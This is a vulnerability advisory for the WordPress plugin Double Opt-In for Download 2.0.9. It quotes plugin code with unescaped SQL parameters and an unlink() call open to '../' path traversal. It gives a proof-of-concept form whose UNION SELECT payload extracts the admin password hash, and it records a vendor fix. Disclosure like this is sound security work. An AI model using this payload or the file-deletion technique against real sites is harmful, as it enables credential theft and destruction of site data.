Double Opt-In for Download 2.0.9 Sql Injection

Datetime:2016-08-23 00:15:23          Topic: SQL Injection           Share

06 Jun 2016

Homepage:

https://wordpress.org/plugins/double-opt-in-for-download/

Description:

$_POST[ 'id' ] is not escaped. populate_download_edit_form() is accessible for every registered user.

File: double-opt-in-for-download\public\class-doifd.php

add_action( 'wp_ajax_populate_download_edit_form', array( $this, 'populate_download_edit_form' ) );

public function populate_download_edit_form() {

    global $wpdb; // this is how you get access to the database

    if( isset( $_POST[ 'id' ] ) ) {

        $value = $_POST[ 'id' ];

        $download = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}doifd_lab_downloads WHERE doifd_download_id = $value", ARRAY_A );
    }
    echo json_encode( $download );
    die(); // this is required to terminate immediately and return a proper response
}

$_REQUEST['id'] is not escaped.

File: double-opt-in-for-download\admin\includes\class-doifd-admin-download-table.php

$ids = isset ( $_REQUEST['id'] ) ? $_REQUEST['id'] : array ( ) ;
if ( is_array ( $ids ) )
    $ids = implode ( ',' , $ids ) ;

if ( ! empty ( $ids ) ) {
    $wpdb->query ( "DELETE FROM $table_name WHERE doifd_download_id IN($ids)" ) ;
}

$_REQUEST['doifd_file_name'] is not used with basename() so we can delete every file using as filename ../../something.extension .

File: double-opt-in-for-download\admin\includes\class-doifd-admin-download-table.php

$file = isset ( $_REQUEST['doifd_file_name'] ) ? $_REQUEST['doifd_file_name'] : array ( ) ;
if ( is_array ( $file ) )
    $file = implode ( ',' , $file ) ;
$file = explode ( ',' , $file ) ;

foreach ( $file as $key=> $value ) {
    unlink ( DOIFD_DOWNLOAD_DIR . $value ) ;
}

Proof of Concept:

Login as regular user (created using wp-login.php?action=register ):

<form name="xss" action="http://wp/wp-admin/admin-ajax.php?action=populate_download_edit_form" method="post">
	<input type="text" name="id" value="0 UNION SELECT 1, 2, 4, 5, 6, 7, user_pass FROM wp_users WHERE ID=1">
	<input type="submit" value="Send">
</form>

Timeline:

  • 03-12-2015: Discovered
  • 03-12-2015: Vendor notified
  • 05-12-2015: Version 2.1.0 released, issue resolved




About List